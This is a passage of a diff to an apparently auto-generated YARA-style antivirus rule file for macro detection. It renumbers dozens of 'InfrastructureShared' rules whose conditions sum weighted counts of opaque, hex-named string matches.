+rule _InfrastructureShared_24568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303425,7 +319920,7 @@ rule _InfrastructureShared_23282{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26212) >=2 } -rule _InfrastructureShared_23283{ +rule _InfrastructureShared_24569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303436,7 +319931,7 @@ rule _InfrastructureShared_23283{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*26469) >=2 } -rule _InfrastructureShared_23284{ +rule _InfrastructureShared_24570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303448,7 +319943,7 @@ rule _InfrastructureShared_23284{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*10288+(#a_0c_2 & 1)*29816) >=3 } -rule _InfrastructureShared_23285{ +rule _InfrastructureShared_24571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303461,7 +319956,7 @@ rule _InfrastructureShared_23285{ ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*8230+(#a_00_2 & 1)*10530+(#a_69_3 & 1)*291) >=4 } -rule _InfrastructureShared_23286{ +rule _InfrastructureShared_24572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -303475,7 +319970,7 @@ rule _InfrastructureShared_23286{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_ae_3 & 1)*0+(#a_6f_4 & 1)*11892) >=5 } -rule _InfrastructureShared_23287{ +rule _InfrastructureShared_24573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -303489,7 +319984,7 @@ rule _InfrastructureShared_23287{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*3842+(#a_6f_2 & 1)*25974+(#a_39_3 & 1)*14962+(#a_41_4 & 1)*16977) >=5 } -rule _InfrastructureShared_23288{ +rule _InfrastructureShared_24574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -303499,7 +319994,7 @@ rule _InfrastructureShared_23288{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23289{ +rule _InfrastructureShared_24575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 09 00 21 " @@ -303514,7 +320009,7 @@ rule _InfrastructureShared_23289{ ((#a_53_0 & 1)*19747+(#a_63_2 & 1)*30498+(#a_4d_3 & 1)*8536+(#a_22_4 & 1)*31076+(#a_00_7 & 1)*2+(#a_48_8 & 1)*8993) >=1 } -rule _InfrastructureShared_23290{ +rule _InfrastructureShared_24576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303525,7 +320020,7 @@ rule _InfrastructureShared_23290{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*15394) >=2 } -rule _InfrastructureShared_23291{ +rule _InfrastructureShared_24577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303536,7 +320031,7 @@ rule _InfrastructureShared_23291{ ((#a_53_0 & 1)*19747+(#a_70_1 & 1)*12034) >=2 } -rule _InfrastructureShared_23292{ +rule _InfrastructureShared_24578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303548,7 +320043,7 @@ rule _InfrastructureShared_23292{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25390+(#a_65_2 & 1)*24943) >=3 } -rule _InfrastructureShared_23293{ +rule _InfrastructureShared_24579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303561,7 +320056,7 @@ rule _InfrastructureShared_23293{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30311+(#a_28_2 & 1)*6656+(#a_0f_3 & 1)*-28640) >=4 } -rule _InfrastructureShared_23294{ +rule _InfrastructureShared_24580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303574,7 +320069,7 @@ rule _InfrastructureShared_23294{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*24930+(#a_02_2 & 1)*10356+(#a_63_3 & 1)*3842) >=4 } -rule _InfrastructureShared_23295{ +rule _InfrastructureShared_24581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -303588,7 +320083,7 @@ rule _InfrastructureShared_23295{ ((#a_46_0 & 1)*21283+(#a_78_1 & 1)*30735+(#a_64_2 & 1)*28496+(#a_6f_3 & 1)*25206+(#a_68_4 & 1)*8744) >=5 } -rule _InfrastructureShared_23296{ +rule _InfrastructureShared_24582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303599,7 +320094,7 @@ rule _InfrastructureShared_23296{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28257) >=2 } -rule _InfrastructureShared_23297{ +rule _InfrastructureShared_24583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303610,7 +320105,7 @@ rule _InfrastructureShared_23297{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*319) >=3 } -rule _InfrastructureShared_23298{ +rule _InfrastructureShared_24584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303623,7 +320118,7 @@ rule _InfrastructureShared_23298{ ((#a_46_0 & 1)*16675+(#a_2b_1 & 1)*26740+(#a_71_2 & 1)*10275+(#a_26_3 & 1)*10530) >=4 } -rule _InfrastructureShared_23299{ +rule _InfrastructureShared_24585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -303637,7 +320132,7 @@ rule _InfrastructureShared_23299{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8236+(#a_00_2 & 1)*10549+(#a_20_3 & 1)*656+(#a_02_4 & 1)*8236) >=5 } -rule _InfrastructureShared_23300{ +rule _InfrastructureShared_24586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -303647,7 +320142,7 @@ rule _InfrastructureShared_23300{ ((#a_43_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23301{ +rule _InfrastructureShared_24587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303659,7 +320154,7 @@ rule _InfrastructureShared_23301{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*26996+(#a_42_2 & 1)*11892) >=3 } -rule _InfrastructureShared_23302{ +rule _InfrastructureShared_24588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303671,7 +320166,7 @@ rule _InfrastructureShared_23302{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8832+(#a_3d_2 & 1)*13056) >=3 } -rule _InfrastructureShared_23303{ +rule _InfrastructureShared_24589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303684,7 +320179,7 @@ rule _InfrastructureShared_23303{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29283+(#a_65_2 & 1)*24943+(#a_65_3 & 1)*10024) >=4 } -rule _InfrastructureShared_23304{ +rule _InfrastructureShared_24590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303697,7 +320192,7 @@ rule _InfrastructureShared_23304{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*28788+(#a_4e_2 & 1)*21038+(#a_73_3 & 1)*21349) >=4 } -rule _InfrastructureShared_23305{ +rule _InfrastructureShared_24591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303710,7 +320205,7 @@ rule _InfrastructureShared_23305{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*10356+(#a_53_2 & 1)*19747+(#a_67_3 & 1)*25966) >=4 } -rule _InfrastructureShared_23306{ +rule _InfrastructureShared_24592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -303721,7 +320216,7 @@ rule _InfrastructureShared_23306{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*25966) >=1 } -rule _InfrastructureShared_23307{ +rule _InfrastructureShared_24593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303733,7 +320228,7 @@ rule _InfrastructureShared_23307{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*11824+(#a_20_2 & 1)*656) >=3 } -rule _InfrastructureShared_23308{ +rule _InfrastructureShared_24594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303745,7 +320240,7 @@ rule _InfrastructureShared_23308{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*29816+(#a_20_2 & 1)*28516) >=3 } -rule _InfrastructureShared_23309{ +rule _InfrastructureShared_24595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303757,7 +320252,7 @@ rule _InfrastructureShared_23309{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*3328+(#a_69_2 & 1)*11040) >=3 } -rule _InfrastructureShared_23310{ +rule _InfrastructureShared_24596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303769,7 +320264,7 @@ rule _InfrastructureShared_23310{ ((#a_53_0 & 1)*19747+(#a_76_2 & 1)*29264+(#a_2e_3 & 1)*25972) >=4 } -rule _InfrastructureShared_23311{ +rule _InfrastructureShared_24597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303782,7 +320277,7 @@ rule _InfrastructureShared_23311{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_6e_2 & 1)*17198+(#a_90_3 & 1)*16386) >=4 } -rule _InfrastructureShared_23312{ +rule _InfrastructureShared_24598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -303795,7 +320290,7 @@ rule _InfrastructureShared_23312{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*-28638+(#a_20_2 & 1)*-28638+(#a_20_3 & 1)*-28638) >=5 } -rule _InfrastructureShared_23313{ +rule _InfrastructureShared_24599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -303810,7 +320305,7 @@ rule _InfrastructureShared_23313{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*10536+(#a_65_2 & 1)*21249+(#a_55_3 & 1)*17710+(#a_75_4 & 1)*268+(#a_6e_5 & 1)*23151) >=6 } -rule _InfrastructureShared_23314{ +rule _InfrastructureShared_24600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -303827,7 +320322,7 @@ rule _InfrastructureShared_23314{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_b2_7 & 1)*0) >=8 } -rule _InfrastructureShared_23315{ +rule _InfrastructureShared_24601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -303844,7 +320339,7 @@ rule _InfrastructureShared_23315{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_b3_7 & 1)*0) >=8 } -rule _InfrastructureShared_23316{ +rule _InfrastructureShared_24602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -303854,7 +320349,7 @@ rule _InfrastructureShared_23316{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23317{ +rule _InfrastructureShared_24603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -303864,7 +320359,7 @@ rule _InfrastructureShared_23317{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23318{ +rule _InfrastructureShared_24604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -303875,7 +320370,7 @@ rule _InfrastructureShared_23318{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*27760) >=1 } -rule _InfrastructureShared_23319{ +rule _InfrastructureShared_24605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -303887,7 +320382,7 @@ rule _InfrastructureShared_23319{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*11824+(#a_61_2 & 1)*27758) >=1 } -rule _InfrastructureShared_23320{ +rule _InfrastructureShared_24606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303898,7 +320393,7 @@ rule _InfrastructureShared_23320{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*25960) >=2 } -rule _InfrastructureShared_23321{ +rule _InfrastructureShared_24607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303910,7 +320405,7 @@ rule _InfrastructureShared_23321{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29537+(#a_39_2 & 1)*14962) >=3 } -rule _InfrastructureShared_23322{ +rule _InfrastructureShared_24608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303922,7 +320417,7 @@ rule _InfrastructureShared_23322{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*26212+(#a_65_2 & 1)*24943) >=3 } -rule _InfrastructureShared_23323{ +rule _InfrastructureShared_24609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -303935,7 +320430,7 @@ rule _InfrastructureShared_23323{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*29556+(#a_00_2 & 1)*15648+(#a_20_3 & 1)*-28632) >=3 } -rule _InfrastructureShared_23324{ +rule _InfrastructureShared_24610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303947,7 +320442,7 @@ rule _InfrastructureShared_23324{ ((#a_4c_0 & 1)*21539+(#a_43_2 & 1)*7168+(#a_6a_3 & 1)*20325) >=4 } -rule _InfrastructureShared_23325{ +rule _InfrastructureShared_24611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -303961,7 +320456,7 @@ rule _InfrastructureShared_23325{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*28749+(#a_69_2 & 1)*29779+(#a_22_3 & 1)*27182+(#a_54_4 & 1)*18509) >=5 } -rule _InfrastructureShared_23326{ +rule _InfrastructureShared_24612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -303976,7 +320471,7 @@ rule _InfrastructureShared_23326{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*12578+(#a_70_2 & 1)*16686+(#a_01_3 & 1)*30821+(#a_58_4 & 1)*17710+(#a_72_5 & 1)*3072) >=6 } -rule _InfrastructureShared_23327{ +rule _InfrastructureShared_24613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -303992,7 +320487,7 @@ rule _InfrastructureShared_23327{ ((#a_53_0 & 1)*19747+(#a_67_2 & 1)*29185+(#a_55_3 & 1)*21076+(#a_65_4 & 1)*29545+(#a_6e_5 & 1)*14930+(#a_68_6 & 1)*656+(#a_02_7 & 1)*29697) >=8 } -rule _InfrastructureShared_23328{ +rule _InfrastructureShared_24614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -304007,7 +320502,7 @@ rule _InfrastructureShared_23328{ ((#a_53_0 & 1)*19747+(#a_67_2 & 1)*29185+(#a_45_3 & 1)*21076+(#a_66_4 & 1)*656+(#a_02_5 & 1)*25857+(#a_35_6 & 1)*8293) >=8 } -rule _InfrastructureShared_23329{ +rule _InfrastructureShared_24615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -304018,7 +320513,7 @@ rule _InfrastructureShared_23329{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*11780) >=1 } -rule _InfrastructureShared_23330{ +rule _InfrastructureShared_24616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 0a 00 21 " @@ -304037,7 +320532,7 @@ rule _InfrastructureShared_23330{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*263+(#a_33_2 & 1)*8253+(#a_4d_3 & 1)*14671+(#a_29_4 & 1)*8751+(#a_76_5 & 1)*12034+(#a_00_6 & 1)*3+(#a_52_7 & 1)*21320+(#a_22_8 & 1)*5378+(#a_50_9 & 1)*19282) >=2 } -rule _InfrastructureShared_23331{ +rule _InfrastructureShared_24617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304049,7 +320544,7 @@ rule _InfrastructureShared_23331{ ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*12034+(#a_75_2 & 1)*11817) >=3 } -rule _InfrastructureShared_23332{ +rule _InfrastructureShared_24618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304061,7 +320556,7 @@ rule _InfrastructureShared_23332{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*27760+(#a_74_2 & 1)*25195) >=3 } -rule _InfrastructureShared_23333{ +rule _InfrastructureShared_24619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 05 00 21 " @@ -304075,7 +320570,7 @@ rule _InfrastructureShared_23333{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*26989+(#a_61_2 & 1)*28530+(#a_53_3 & 1)*26473+(#a_00_4 & 1)*66) >=3 } -rule _InfrastructureShared_23334{ +rule _InfrastructureShared_24620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304087,7 +320582,7 @@ rule _InfrastructureShared_23334{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*11568+(#a_75_2 & 1)*16981) >=4 } -rule _InfrastructureShared_23335{ +rule _InfrastructureShared_24621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304100,7 +320595,7 @@ rule _InfrastructureShared_23335{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*17664+(#a_61_2 & 1)*28530+(#a_6f_3 & 1)*11828) >=4 } -rule _InfrastructureShared_23336{ +rule _InfrastructureShared_24622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -304113,7 +320608,7 @@ rule _InfrastructureShared_23336{ ((#a_53_0 & 1)*19747+(#a_0f_1 & 1)*-28561+(#a_0f_2 & 1)*-28573+(#a_33_4 & 1)*4864) >=4 } -rule _InfrastructureShared_23337{ +rule _InfrastructureShared_24623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -304130,7 +320625,7 @@ rule _InfrastructureShared_23337{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*29285+(#a_67_2 & 1)*29185+(#a_45_3 & 1)*21076+(#a_2e_4 & 1)*9987+(#a_20_5 & 1)*2050+(#a_01_6 & 1)*25968+(#a_63_7 & 1)*27234) >=8 } -rule _InfrastructureShared_23338{ +rule _InfrastructureShared_24624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -304141,7 +320636,7 @@ rule _InfrastructureShared_23338{ ((#a_53_0 & 1)*19747+(#a_08_1 & 1)*-28564) >=2 } -rule _InfrastructureShared_23339{ +rule _InfrastructureShared_24625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304154,7 +320649,7 @@ rule _InfrastructureShared_23339{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11875+(#a_46_2 & 1)*16675+(#a_74_3 & 1)*25940) >=4 } -rule _InfrastructureShared_23340{ +rule _InfrastructureShared_24626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304166,7 +320661,7 @@ rule _InfrastructureShared_23340{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25940+(#a_3a_3 & 1)*8235) >=4 } -rule _InfrastructureShared_23341{ +rule _InfrastructureShared_24627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304179,7 +320674,7 @@ rule _InfrastructureShared_23341{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*28483+(#a_6a_2 & 1)*29268+(#a_02_3 & 1)*12148) >=4 } -rule _InfrastructureShared_23342{ +rule _InfrastructureShared_24628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304189,7 +320684,7 @@ rule _InfrastructureShared_23342{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23343{ +rule _InfrastructureShared_24629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -304200,7 +320695,7 @@ rule _InfrastructureShared_23343{ ((#a_43_0 & 1)*19747+(#a_22_1 & 1)*29554) >=2 } -rule _InfrastructureShared_23344{ +rule _InfrastructureShared_24630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304212,7 +320707,7 @@ rule _InfrastructureShared_23344{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*26114+(#a_4d_2 & 1)*21570) >=3 } -rule _InfrastructureShared_23345{ +rule _InfrastructureShared_24631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304223,7 +320718,7 @@ rule _InfrastructureShared_23345{ ((#a_53_0 & 1)*19747+(#a_3d_2 & 1)*17920) >=3 } -rule _InfrastructureShared_23346{ +rule _InfrastructureShared_24632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304235,7 +320730,7 @@ rule _InfrastructureShared_23346{ ((#a_53_0 & 1)*19747+(#a_35_1 & 1)*14133+(#a_00_2 & 1)*4) >=3 } -rule _InfrastructureShared_23347{ +rule _InfrastructureShared_24633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304248,7 +320743,7 @@ rule _InfrastructureShared_23347{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*30313+(#a_2f_2 & 1)*14137+(#a_3a_3 & 1)*7938) >=4 } -rule _InfrastructureShared_23348{ +rule _InfrastructureShared_24634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304258,7 +320753,7 @@ rule _InfrastructureShared_23348{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23349{ +rule _InfrastructureShared_24635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -304270,7 +320765,7 @@ rule _InfrastructureShared_23349{ ((#a_53_0 & 1)*19747+(#a_20_2 & 1)*8226+(#a_90_3 & 1)*11040) >=1 } -rule _InfrastructureShared_23350{ +rule _InfrastructureShared_24636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0d 00 21 " @@ -304292,7 +320787,7 @@ rule _InfrastructureShared_23350{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*7+(#a_64_2 & 1)*8744+(#a_6f_3 & 1)*29285+(#a_54_4 & 1)*19525+(#a_22_5 & 1)*17744+(#a_02_6 & 1)*24432+(#a_6f_7 & 1)*11877+(#a_6f_8 & 1)*28279+(#a_5f_9 & 1)*24322+(#a_54_10 & 1)*8497+(#a_20_11 & 1)*793+(#a_3a_12 & 1)*21587) >=1 } -rule _InfrastructureShared_23351{ +rule _InfrastructureShared_24637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -304303,7 +320798,7 @@ rule _InfrastructureShared_23351{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*29298) >=2 } -rule _InfrastructureShared_23352{ +rule _InfrastructureShared_24638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -304314,7 +320809,7 @@ rule _InfrastructureShared_23352{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*12064) >=2 } -rule _InfrastructureShared_23353{ +rule _InfrastructureShared_24639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -304325,7 +320820,7 @@ rule _InfrastructureShared_23353{ ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*30812) >=2 } -rule _InfrastructureShared_23354{ +rule _InfrastructureShared_24640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304337,7 +320832,7 @@ rule _InfrastructureShared_23354{ ((#a_53_0 & 1)*19747+(#a_0a_1 & 1)*-28577+(#a_5f_2 & 1)*24415) >=3 } -rule _InfrastructureShared_23355{ +rule _InfrastructureShared_24641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304348,7 +320843,7 @@ rule _InfrastructureShared_23355{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*16737) >=4 } -rule _InfrastructureShared_23356{ +rule _InfrastructureShared_24642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -304358,7 +320853,7 @@ rule _InfrastructureShared_23356{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_23357{ +rule _InfrastructureShared_24643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -304370,7 +320865,7 @@ rule _InfrastructureShared_23357{ ((#a_46_0 & 1)*16675+(#a_26_1 & 1)*8804+(#a_22_2 & 1)*10530) >=3 } -rule _InfrastructureShared_23358{ +rule _InfrastructureShared_24644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304383,7 +320878,7 @@ rule _InfrastructureShared_23358{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*17972+(#a_7d_2 & 1)*14402+(#a_53_3 & 1)*8993) >=4 } -rule _InfrastructureShared_23359{ +rule _InfrastructureShared_24645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -304396,7 +320891,7 @@ rule _InfrastructureShared_23359{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*16672+(#a_2f_2 & 1)*14137+(#a_3d_3 & 1)*273) >=4 } -rule _InfrastructureShared_23360{ +rule _InfrastructureShared_24646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -304410,7 +320905,7 @@ rule _InfrastructureShared_23360{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*28532+(#a_72_2 & 1)*14924+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_23361{ +rule _InfrastructureShared_24647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -304427,7 +320922,7 @@ rule _InfrastructureShared_23361{ ((#a_4c_0 & 1)*21539+(#a_26_1 & 